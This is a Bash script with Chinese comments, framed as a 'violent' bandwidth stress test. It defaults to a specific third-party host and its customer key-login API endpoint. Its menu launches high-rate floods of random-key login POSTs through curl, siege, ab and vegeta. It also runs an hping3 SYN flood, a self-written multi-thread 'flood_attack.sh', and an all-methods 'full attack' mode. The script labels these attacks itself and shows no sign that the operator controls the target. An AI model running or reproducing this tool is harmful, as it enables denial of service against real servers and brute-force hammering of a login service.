#!/bin/bash
# 10G口服务器暴力带宽压测脚本
# 使用方法: ./max_bandwidth.sh <目标IP> <端口> [持续时间秒数] [线程数]

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# 默认参数
TARGET_IP=${1:-"dasheng.759808.cn"}
TARGET_PORT=${2:-"443"}
DURATION=${3:-"60"}
THREADS=${4:-"1000"}
TARGET_PATH="/api/customer/key-login"

# 检查必要的工具
check_tools() {
    echo -e "${CYAN}[*] 检查必要工具...${NC}"
    local missing_tools=()
    
    for tool in curl iperf3 hping3 siege vegeta ab openssl; do
        if ! command -v $tool &> /dev/null; then
            missing_tools+=($tool)
        fi
    done
    
    if [ ${#missing_tools[@]} -gt 0 ]; then
        echo -e "${YELLOW}[!] 缺少以下工具，正在安装...${NC}"
        
        if [ -f /etc/redhat-release ]; then
            sudo yum install -y epel-release
            sudo yum install -y curl iperf3 hping3 siege ab openssl wget
            # 安装vegeta
            wget https://github.com/tsenart/vegeta/releases/download/v12.8.4/vegeta_12.8.4_linux_amd64.tar.gz
            tar -xzf vegeta_12.8.4_linux_amd64.tar.gz
            sudo mv vegeta /usr/local/bin/
            rm vegeta_12.8.4_linux_amd64.tar.gz
            
        elif [ -f /etc/debian_version ]; then
            sudo apt-get update
            sudo apt-get install -y curl iperf3 hping3 siege ab openssl wget
            # 安装vegeta
            wget https://github.com/tsenart/vegeta/releases/download/v12.8.4/vegeta_12.8.4_linux_amd64.tar.gz
            tar -xzf vegeta_12.8.4_linux_amd64.tar.gz
            sudo mv vegeta /usr/local/bin/
            rm vegeta_12.8.4_linux_amd64.tar.gz
        fi
    fi
    
    echo -e "${GREEN}[✓] 所有工具就绪${NC}"
}

# 生成随机字符串
generate_random_string() {
    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1
}

# 生成JSON数据
generate_json_data() {
    local key=$(generate_random_string)
    echo "{\"key\":\"$key\"}"
}

# 1. 使用curl进行基础测试
test_curl() {
    echo -e "${BLUE}[1] 使用CURL进行HTTP/HTTPS测试...${NC}"
    
    for i in {1..5}; do
        json_data=$(generate_json_data)
        
        echo -e "测试 $i: POST https://$TARGET_IP:$TARGET_PORT$TARGET_PATH"
        
        time curl -X POST \
            -H "Content-Type: application/json" \
            -H "Accept: application/json" \
            -H "Connection: close" \
            -d "$json_data" \
            -k \
            -s \
            -o /dev/null \
            -w "状态码: %{http_code}, 耗时: %{time_total}s, 速度: %{speed_download} B/s\n" \
            "https://$TARGET_IP:$TARGET_PORT$TARGET_PATH" &
    done
    wait
}

# 2. 使用siege进行并发压力测试
test_siege() {
    echo -e "${BLUE}[2] 使用Siege进行高并发压力测试...${NC}"
    
    # 创建测试URL文件
    echo "POST https://$TARGET_IP:$TARGET_PORT$TARGET_PATH" > siege_urls.txt
    echo "Content-Type: application/json" >> siege_urls.txt
    echo "Accept: application/json" >> siege_urls.txt
    echo "@siege_data.json" >> siege_urls.txt
    
    # 创建测试数据
    generate_json_data > siege_data.json
    
    echo -e "${PURPLE}启动 $THREADS 个并发，持续 $DURATION 秒${NC}"
    
    siege -c $THREADS \
          -t ${DURATION}S \
          -f siege_urls.txt \
          -i \
          -b \
          --content-type "application/json" \
          2>&1 | tail -20
}

# 3. 使用ab(Apache Benchmark)进行基准测试
test_ab() {
    echo -e "${BLUE}[3] 使用Apache Benchmark进行基准测试...${NC}"
    
    # 创建POST数据文件
    generate_json_data > post_data.json
    
    echo -e "${PURPLE}并发数: $THREADS, 总请求数: $((THREADS * 100))${NC}"
    
    ab -n $((THREADS * 100)) \
       -c $THREADS \
       -T "application/json" \
       -p post_data.json \
       -k \
       "https://$TARGET_IP:$TARGET_PORT$TARGET_PATH" 2>&1 | tail -30
}

# 4. 使用vegeta进行极限压力测试
test_vegeta() {
    echo -e "${BLUE}[4] 使用Vegeta进行极限压力测试...${NC}"
    
    echo -e "${RED}[!] 警告: 这将产生极大流量${NC}"
    
    # 创建vegeta目标文件
    cat > vegeta_targets.txt << EOF
POST https://$TARGET_IP:$TARGET_PORT$TARGET_PATH
Content-Type: application/json
Accept: application/json
@vegeta_data.json
EOF
    
    # 创建测试数据
    generate_json_data > vegeta_data.json
    
    echo -e "${PURPLE}每秒请求数: 5000, 持续: ${DURATION}秒${NC}"
    
    # 启动vegeta攻击
    vegeta attack \
        -targets=vegeta_targets.txt \
        -rate=5000 \
        -duration=${DURATION}s \
        -workers=$THREADS \
        -timeout=30s \
        -insecure \
        | vegeta report
    
    # 显示详细报告
    vegeta attack \
        -targets=vegeta_targets.txt \
        -rate=5000 \
        -duration=10s \
        -workers=$THREADS \
        -insecure \
        | vegeta plot > plot.html
    
    echo -e "${GREEN}详细图表已保存为 plot.html${NC}"
}

# 5. 使用hping3进行SYN洪水攻击（谨慎使用）
test_hping3() {
    echo -e "${BLUE}[5] 使用hping3进行网络层测试...${NC}"
    
    echo -e "${YELLOW}[!] 注意: 这是网络层测试，不是应用层${NC}"
    
    # 只发送少量包进行测试
    hping3 -S -p $TARGET_PORT --flood $TARGET_IP -c 10000 &
    HPING_PID=$!
    
    sleep 5
    kill $HPING_PID 2>/dev/null
    
    echo -e "${GREEN}[✓] 网络层测试完成${NC}"
}

# 6. 使用iperf3测试原始TCP带宽
test_iperf() {
    echo -e "${BLUE}[6] 使用iperf3测试原始TCP带宽...${NC}"
    
    # 注意：需要在目标服务器运行 iperf3 -s
    echo -e "${YELLOW}[!] 注意: 目标服务器需要运行 iperf3 服务端${NC}"
    echo -e "在目标服务器运行: ${GREEN}iperf3 -s${NC}"
    
    read -p "目标服务器已启动iperf3服务端吗？(y/N): " confirm
    
    if [[ $confirm =~ ^[Yy]$ ]]; then
        iperf3 -c $TARGET_IP -p 5201 -t 10 -P 10
    else
        echo -e "${YELLOW}[!] 跳过iperf3测试${NC}"
    fi
}

# 7. 自定义暴力多线程脚本
test_custom_flood() {
    echo -e "${BLUE}[7] 启动自定义暴力多线程攻击...${NC}"
    
    echo -e "${RED}[!] 警告: 这将最大化利用系统资源${NC}"
    
    # 创建攻击脚本
    cat > flood_attack.sh << 'EOF'
#!/bin/bash
TARGET="$1"
PORT="$2"
DURATION="$3"
THREAD_ID="$4"

END_TIME=$(( $(date +%s) + DURATION ))
REQUEST_COUNT=0

echo "[线程 $THREAD_ID] 开始攻击..."

while [ $(date +%s) -lt $END_TIME ]; do
    JSON_DATA="{\"key\":\"$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)\"}"
    
    curl -X POST \
         -H "Content-Type: application/json" \
         -H "Accept: application/json" \
         -H "Connection: close" \
         -d "$JSON_DATA" \
         -k \
         -s \
         -o /dev/null \
         -w "%{http_code}" \
         "https://$TARGET:$PORT/api/customer/key-login" > /dev/null 2>&1 &
    
    REQUEST_COUNT=$((REQUEST_COUNT + 1))
    
    # 每10个请求报告一次
    if [ $((REQUEST_COUNT % 10)) -eq 0 ]; then
        echo "[线程 $THREAD_ID] 已发送 $REQUEST_COUNT 个请求"
    fi
    
    # 控制并发数，避免过多进程
    if [ $(jobs -r | wc -l) -gt 50 ]; then
        wait -n
    fi
done

wait
echo "[线程 $THREAD_ID] 完成，总共发送 $REQUEST_COUNT 个请求"
EOF
    
    chmod +x flood_attack.sh
    
    # 启动多个线程
    for i in $(seq 1 $THREADS); do
        ./flood_attack.sh "$TARGET_IP" "$TARGET_PORT" "$DURATION" "$i" &
    done
    
    echo -e "${PURPLE}已启动 $THREADS 个攻击线程，持续 $DURATION 秒${NC}"
    echo -e "${YELLOW}按 Ctrl+C 停止攻击${NC}"
    
    wait
    
    echo -e "${GREEN}[✓] 自定义攻击完成${NC}"
}

# 8. 系统资源监控
monitor_resources() {
    echo -e "${BLUE}[8] 系统资源监控...${NC}"
    
    # 后台监控
    (
        echo -e "${CYAN}时间,CPU%,内存%,网络流入,网络流出,连接数${NC}"
        while true; do
            TIMESTAMP=$(date '+%H:%M:%S')
            CPU=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1)
            MEM=$(free | grep Mem | awk '{print $3/$2 * 100.0}')
            NET_IN=$(ifstat 1 1 | tail -1 | awk '{print $1}')
            NET_OUT=$(ifstat 1 1 | tail -1 | awk '{print $2}')
            CONNS=$(netstat -an | wc -l)
            
            echo "$TIMESTAMP,${CPU}%,${MEM}%,${NET_IN}K,${NET_OUT}K,$CONNS"
            sleep 2
        done
    ) &
    MONITOR_PID=$!
    
    sleep $((DURATION + 5))
    kill $MONITOR_PID 2>/dev/null
}

# 主菜单
show_menu() {
    clear
    echo -e "${CYAN}=========================================${NC}"
    echo -e "${GREEN}      10G口服务器暴力压测工具${NC}"
    echo -e "${CYAN}=========================================${NC}"
    echo -e "目标: ${YELLOW}$TARGET_IP:$TARGET_PORT${NC}"
    echo -e "路径: ${YELLOW}$TARGET_PATH${NC}"
    echo -e "持续时间: ${YELLOW}$DURATION 秒${NC}"
    echo -e "线程数: ${YELLOW}$THREADS${NC}"
    echo -e "${CYAN}=========================================${NC}"
    echo -e "${GREEN}1.${NC} CURL基础测试"
    echo -e "${GREEN}2.${NC} Siege并发测试"
    echo -e "${GREEN}3.${NC} Apache Benchmark测试"
    echo -e "${GREEN}4.${NC} Vegeta极限压测 ${RED}(最暴力)${NC}"
    echo -e "${GREEN}5.${NC} 网络层测试(hping3)"
    echo -e "${GREEN}6.${NC} iperf3带宽测试"
    echo -e "${GREEN}7.${NC} 自定义暴力多线程 ${RED}(推荐)${NC}"
    echo -e "${GREEN}8.${NC} 全量攻击测试 ${RED}(危险)${NC}"
    echo -e "${GREEN}0.${NC} 退出"
    echo -e "${CYAN}=========================================${NC}"
}

# 主函数
main() {
    # 检查root权限
    if [[ $EUID -ne 0 ]]; then
        echo -e "${RED}[!] 需要root权限运行${NC}"
        echo -e "请使用: ${GREEN}sudo ./max_bandwidth.sh${NC}"
        exit 1
    fi
    
    # 检查参数
    if [ -z "$1" ]; then
        echo -e "${YELLOW}使用方法: $0 <目标IP> <端口> [持续时间] [线程数]${NC}"
        echo -e "${YELLOW}示例: $0 dasheng.759808.cn 443 60 1000${NC}"
        exit 1
    fi
    
    # 安装必要工具
    check_tools
    
    while true; do
        show_menu
        read -p "请选择测试项目 [0-8]: " choice
        
        case $choice in
            1)
                test_curl
                ;;
            2)
                test_siege
                ;;
            3)
                test_ab
                ;;
            4)
                test_vegeta
                ;;
            5)
                test_hping3
                ;;
            6)
                test_iperf
                ;;
            7)
                echo -e "${RED}[!] 警告: 这将最大化利用CPU和带宽${NC}"
                read -p "确认开始暴力攻击? (y/N): " confirm
                if [[ $confirm =~ ^[Yy]$ ]]; then
                    test_custom_flood
                fi
                ;;
            8)
                echo -e "${RED}[!!!] 警告: 全量攻击将使用所有方法同时攻击${NC}"
                read -p "确认开始全量攻击? (输入 CONFIRM 确认): " confirm
                if [ "$confirm" = "CONFIRM" ]; then
                    echo -e "${RED}[!] 全量攻击开始，持续 $DURATION 秒${NC}"
                    
                    # 启动资源监控
                    monitor_resources &
                    
                    # 启动所有攻击
                    test_curl &
                    test_siege &
                    test_vegeta &
                    test_custom_flood &
                    
                    # 等待
                    sleep $DURATION
                    
                    echo -e "${GREEN}[✓] 全量攻击完成${NC}"
                fi
                ;;
            0)
                echo -e "${GREEN}退出${NC}"
                cleanup
                exit 0
                ;;
            *)
                echo -e "${RED}无效选择${NC}"
                ;;
        esac
        
        echo -e "${CYAN}按Enter键继续...${NC}"
        read
    done
}

# 清理函数
cleanup() {
    echo -e "${YELLOW}[*] 清理临时文件...${NC}"
    rm -f siege_urls.txt siege_data.json post_data.json vegeta_targets.txt vegeta_data.json flood_attack.sh
    
    # 杀掉所有后台进程
    pkill -f "curl.*$TARGET_IP" 2>/dev/null
    pkill -f "siege" 2>/dev/null
    pkill -f "vegeta" 2>/dev/null
    pkill -f "hping3" 2>/dev/null
    pkill -f "flood_attack.sh" 2>/dev/null
    
    echo -e "${GREEN}[✓] 清理完成${NC}"
}

# 设置退出时清理
trap cleanup EXIT INT TERM

# 运行主函数
main "$@"